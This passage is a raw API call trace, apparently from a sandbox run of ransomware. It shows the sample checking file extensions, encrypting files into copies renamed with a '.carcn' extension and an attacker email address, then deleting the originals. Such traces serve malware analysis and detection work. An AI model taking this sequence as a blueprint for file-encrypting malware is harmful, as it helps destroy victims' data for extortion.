lpString2="a.rtf") returned -1 [0161.616] lstrlenW (lpString=".ppt") returned 4 [0161.616] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString=".zip") returned 4 [0161.616] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.616] lstrlenW (lpString=".rar") returned 4 [0161.616] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString=".bz2") returned 4 [0161.616] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString=".7z") returned 3 [0161.616] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString=".dbf") returned 4 [0161.616] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString=".1cd") returned 4 [0161.616] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString=".jpg") returned 4 [0161.616] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.616] lstrlenW (lpString=".doc") returned 4 [0161.617] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString=".docx") returned 5 [0161.617] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.617] lstrlenW (lpString=".pdf") returned 4 [0161.617] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString=".xls") returned 4 [0161.617] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.617] lstrlenW (lpString=".xlsx") returned 5 [0161.617] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.617] lstrlenW (lpString=".ppt") returned 4 [0161.617] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.617] lstrlenW (lpString=".zip") returned 4 [0161.617] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.617] lstrlenW (lpString=".rar") returned 4 [0161.617] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString=".bz2") returned 4 [0161.617] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString=".7z") returned 3 [0161.617] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.617] lstrlenW (lpString=".dbf") returned 4 [0161.617] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.617] lstrlenW (lpString=".1cd") returned 4 [0161.617] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.617] lstrlenW (lpString=".jpg") returned 4 [0161.617] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.618] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.618] lstrlenW (lpString="eula.rtf") returned 8 [0161.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.688] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=4015) returned 1 [0161.688] CloseHandle (hObject=0x380) returned 1 [0161.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0161.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.689] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.689] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.691] GetLastError () returned 0x0 [0161.691] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xfaf, lpOverlapped=0x0) returned 1 [0161.888] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xfb0, lpOverlapped=0x0) returned 1 [0161.889] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.889] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.889] SetEndOfFile (hFile=0x31c) returned 1 [0161.889] CloseHandle (hObject=0x31c) returned 1 [0161.890] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.890] SetEndOfFile (hFile=0x380) returned 1 [0161.891] CloseHandle (hObject=0x380) returned 1 [0161.891] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.891] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0161.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.891] lstrlenW (lpString=".doc") returned 4 [0161.891] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.891] lstrlenW (lpString=".docx") returned 5 [0161.891] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.891] lstrlenW (lpString=".pdf") returned 4 [0161.891] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.891] lstrlenW (lpString=".xls") returned 4 [0161.891] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.891] lstrlenW (lpString=".xlsx") returned 5 [0161.891] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.891] lstrlenW (lpString=".ppt") returned 4 [0161.891] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.891] lstrlenW (lpString=".zip") returned 4 [0161.892] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.892] lstrlenW (lpString=".rar") returned 4 [0161.892] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString=".bz2") returned 4 [0161.892] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString=".7z") returned 3 [0161.892] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString=".dbf") returned 4 [0161.892] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString=".1cd") returned 4 [0161.892] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString=".jpg") returned 4 [0161.892] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString=".doc") returned 4 [0161.892] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString=".docx") returned 5 [0161.892] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.892] lstrlenW (lpString=".pdf") returned 4 [0161.892] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString=".xls") returned 4 [0161.892] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.892] lstrlenW (lpString=".xlsx") returned 5 [0161.892] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.892] lstrlenW (lpString=".ppt") returned 4 [0161.892] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.892] lstrlenW (lpString=".zip") returned 4 [0161.892] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.892] lstrlenW (lpString=".rar") returned 4 [0161.892] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.893] lstrlenW (lpString=".bz2") returned 4 [0161.893] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.893] lstrlenW (lpString=".7z") returned 3 [0161.893] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.893] lstrlenW (lpString=".dbf") returned 4 [0161.893] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.893] lstrlenW (lpString=".1cd") returned 4 [0161.893] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0161.893] lstrlenW (lpString=".jpg") returned 4 [0161.893] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.893] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.893] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0161.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.893] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=201796) returned 1 [0161.893] CloseHandle (hObject=0x380) returned 1 [0161.893] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0161.893] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.894] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.894] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.894] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.894] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.894] GetLastError () returned 0x0 [0161.894] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x31444, lpOverlapped=0x0) returned 1 [0162.267] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x31450, lpOverlapped=0x0) returned 1 [0162.270] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0162.270] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0162.270] SetEndOfFile (hFile=0x31c) returned 1 [0162.270] CloseHandle (hObject=0x31c) returned 1 [0162.274] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.274] SetEndOfFile (hFile=0x380) returned 1 [0162.276] CloseHandle (hObject=0x380) returned 1 [0162.276] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.276] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0162.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.276] lstrlenW (lpString=".doc") returned 4 [0162.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.276] lstrlenW (lpString=".docx") returned 5 [0162.276] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.276] lstrlenW (lpString=".pdf") returned 4 [0162.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.276] lstrlenW (lpString=".xls") returned 4 [0162.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.276] lstrlenW (lpString=".xlsx") returned 5 [0162.276] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.276] lstrlenW (lpString=".ppt") returned 4 [0162.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".zip") returned 4 [0162.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.277] lstrlenW (lpString=".rar") returned 4 [0162.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString=".bz2") returned 4 [0162.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString=".7z") returned 3 [0162.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".dbf") returned 4 [0162.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".1cd") returned 4 [0162.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".jpg") returned 4 [0162.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".doc") returned 4 [0162.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString=".docx") returned 5 [0162.277] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.277] lstrlenW (lpString=".pdf") returned 4 [0162.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString=".xls") returned 4 [0162.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString=".xlsx") returned 5 [0162.277] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.277] lstrlenW (lpString=".ppt") returned 4 [0162.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.277] lstrlenW (lpString=".zip") returned 4 [0162.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.278] lstrlenW (lpString=".rar") returned 4 [0162.278] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.278] lstrlenW (lpString=".bz2") returned 4 [0162.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.278] lstrlenW (lpString=".7z") returned 3 [0162.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.278] lstrlenW (lpString=".dbf") returned 4 [0162.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.278] lstrlenW (lpString=".1cd") returned 4 [0162.278] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0162.278] lstrlenW (lpString=".jpg") returned 4 [0162.278] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.278] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0162.278] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0162.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.287] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=272046) returned 1 [0162.287] CloseHandle (hObject=0x310) returned 1 [0162.287] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0162.287] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.287] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.287] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.287] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0162.289] GetLastError () returned 0x0 [0162.289] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x426ae, lpOverlapped=0x0) returned 1 [0162.730] WriteFile (in: hFile=0x2d8, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x426b0, lpOverlapped=0x0) returned 1 [0162.799] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0162.799] WriteFile (in: hFile=0x2d8, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0162.799] SetEndOfFile (hFile=0x2d8) returned 1 [0162.799] CloseHandle (hObject=0x2d8) returned 1 [0162.804] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0162.804] SetEndOfFile (hFile=0x310) returned 1 [0162.807] CloseHandle (hObject=0x310) returned 1 [0162.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.807] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0162.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.808] lstrlenW (lpString=".doc") returned 4 [0162.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString=".docx") returned 5 [0162.808] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.808] lstrlenW (lpString=".pdf") returned 4 [0162.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString=".xls") returned 4 [0162.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString=".xlsx") returned 5 [0162.808] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.808] lstrlenW (lpString=".ppt") returned 4 [0162.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.808] lstrlenW (lpString=".zip") returned 4 [0162.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.808] lstrlenW (lpString=".rar") returned 4 [0162.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString=".bz2") returned 4 [0162.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.808] lstrlenW (lpString=".7z") returned 3 [0162.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString=".dbf") returned 4 [0162.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString=".1cd") returned 4 [0162.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString=".jpg") returned 4 [0162.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString=".doc") returned 4 [0162.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString=".docx") returned 5 [0162.809] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.809] lstrlenW (lpString=".pdf") returned 4 [0162.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString=".xls") returned 4 [0162.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString=".xlsx") returned 5 [0162.809] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.809] lstrlenW (lpString=".ppt") returned 4 [0162.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW (lpString=".zip") returned 4 [0162.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.809] lstrlenW (lpString=".rar") returned 4 [0162.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString=".bz2") returned 4 [0162.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.809] lstrlenW (lpString=".7z") returned 3 [0162.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0162.809] lstrlenW 